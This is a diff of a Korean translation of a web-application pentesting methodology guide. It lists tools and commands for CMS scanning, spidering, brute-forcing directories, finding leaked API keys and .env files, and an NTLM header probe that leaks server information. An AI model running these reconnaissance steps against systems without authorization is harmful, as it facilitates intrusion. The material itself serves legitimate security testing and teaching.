* **변경 로그 또는 README 또는 버전** 파일이나 **버전 정보에 접근 가능한** 것이 있나요? * **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요?
* **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 있는 (접근 가능한?) **파일**이 있나요? * **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요? * **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
* 어떤 것을 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요? * 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**? * 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
* **github**에 (해결된 것과 해결되지 않은 것) **이슈**에 흥미로운 정보가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)? * **github**에 (해결된 것과 해결되지 않은 것) **이슈**에 흥미로운 정보가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
@ -151,7 +151,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
``` ```
#### CMS 스캐너 #### CMS 스캐너
CMS가 사용되는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다: CMS가 사용된다면 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\
@ -164,7 +164,7 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL> joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs joomlavs.rb #https://github.com/rastating/joomlavs
``` ```
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 찾고 스캐너를 실행했을 수도 있습니다. > 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 것입니다.
## 단계별 웹 애플리케이션 탐색 ## 단계별 웹 애플리케이션 탐색
@ -199,8 +199,8 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **SSL/TLS 취약점** ### **SSL/TLS 취약점**
* 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, 이는 **MitM에 취약**합니다. * 애플리케이션이 **어느 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM에 취약합니다**
* 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다. * 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**. 이는 높은 취약점입니다.
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요: [**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
```bash ```bash
@ -221,8 +221,8 @@ sslyze --regular <ip:port>
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다. 웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기. * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용. * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 Archive.org를 외부 소스로 사용하는 LinkFinder.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시. * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색합니다. * [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색합니다.
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다. * [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다. * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
@ -231,37 +231,37 @@ sslyze --regular <ip:port>
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더. * [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다. * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 자바스크립트 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 파이썬 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 추출합니다. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 찾아 추출합니다.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다. * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다. * [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 사용된 모든 URL을 인쇄합니다. * [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장. * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구. * [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다. * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다). * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 크롤링(양식 작성 포함)하고 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다. * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다. * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 JavaScript 소스 코드에서 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다. * [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 자바스크립트 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다. * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다. * [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
* [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다. * [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
### 디렉토리 및 파일에 대한 무차별 대입 ### 디렉토리 및 파일에 대한 무차별 대입
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\ 루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**와 **스파이더링**에 의해 **발견된** 모든 디렉토리를 무차별 대입해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
도구: 도구:
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능적입니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다. * **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다. * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀** 검색이 **없습니다**. * [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀** 검색이 **없습니다**.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.** * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제하는 도구입니다. * [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제니다.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하 Burp 확장입니다. * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장입니다.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기). * [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(자바스크립트 가져오기를 기반으로).
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다. * [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
**추천 사전:** **추천 사전:**
@ -295,29 +295,29 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다. * **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 주석 안에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 있는 주석에 **정보**를 **숨기는 것**입니다. * **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
* **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) * **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다. * Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/). * **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/).
### 특별 발견 ### 특별 발견
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목**할 수 있습니다. **스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목해야**니다.
**흥미로운 파일** **흥미로운 파일**
* **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다. * **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
* [**.git** 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md) * [**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다.](git.md)
* **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다. * **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
* **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다. * **API 엔드포인트**를 발견하면 [**테스트해야 합니다**](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼 보일" 것입니다.
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.** * **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링하는 것이 흥미로울 것입니다**. 어떤 경우에는 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다. * 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
* **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **자바스크립트 디오브스큐레이터 및 언패커:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **자바스크립트 뷰티파이어:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck 디오브퍼케이션** (문자와 함께하는 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * **JsFuck 디오브스큐에이션** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* 여러 경우에 **사용된 정규 표현식**을 이해해야 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) * 여러 경우에 **사용된 정규 표현식을 이해해야** 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
* **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다. * **양식이 감지된 파일을 모니터링**해야 합니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
**403 금지/기본 인증/401 권한 없음 (우회)** **403 금지/기본 인증/401 권한 없음 (우회)**
@ -327,21 +327,21 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
**502 프록시 오류** **502 프록시 오류**
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다. 어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근하려고 시도**하며, 이로 인해 SSRF를 발견하게 됩니다.
**NTLM 인증 - 정보 공개** **NTLM 인증 - 정보 유출**
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유도할 수 있습니다.\ 인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 유출**을 유발할 수 있습니다.\
**헤더**를 전송하십시오: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에, 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\ **헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다. 이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다.
**HTTP 리디렉션 (CTF)** **HTTP 리디렉션 (CTF)**
**리디렉션** 내에 **내용****넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하기 때문) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다. **리디렉션** 내에 **내용을 넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
### 웹 취약점 확인 ### 웹 취약점 확인
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로, 이제 가능한 많은 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다: 웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 많은 가능한 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -353,13 +353,13 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html) * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) * [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### 변경 사항 모니터링 페이지 ### 페이지 변경 모니터링
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다. [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다.
